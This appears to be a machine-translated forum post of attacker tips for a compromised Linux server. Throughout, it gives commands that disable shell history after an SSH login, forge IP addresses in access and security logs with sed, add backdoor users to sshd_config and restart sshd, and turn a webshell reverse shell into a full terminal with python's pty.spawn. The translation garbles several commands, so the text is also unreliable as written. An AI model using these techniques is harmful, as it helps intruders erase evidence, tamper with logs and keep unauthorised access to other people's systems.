Some shit tips

From:Accidentally climbing ......

Some of the tips that I often use are cumbersome and cumbersome. Please float the non-trivial stream.

1. Do not record history after logging on to ssh
Unset history histfile histsave histzone history histlog; export HISTFILE =/dev/null; export HISTSIZE = 0; export HISTFILESIZE = 0

2. Some evil uses of sed

It is an evil replacement to the logon IP address and the access IP address in the log.

Sed-s/211. xxx/192.168.1.1/g access_log access. log security

Attackers can add ssh-restricted logon users.
Sed-I s/AllowUsers fuck root oracle rqcuser/g sshd_config
However, after this addition, the sshd service must be forcibly restarted to take effect.
Lsof-I: 22. Find the sshd process ID.
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
Sshd 18662 root 11u IPv6 27925867 TCP *: ssh (LISTEN)
Sshd 31793 sshd 12u IPv6 34742994 TCP 192.168.1.2: ssh-> 192.168.1.5: 49080 (ESTABLISHED)
Then
Kill-SIGHUP 18662

3. Get the real ttyshell after returning the shell through webshell bounce

Python-c import pty; pty. spawn ("/bin/sh ")

4. In Windows, the NC listens to linux and returns the shell command. The command cannot be properly wrapped.

Unalias ls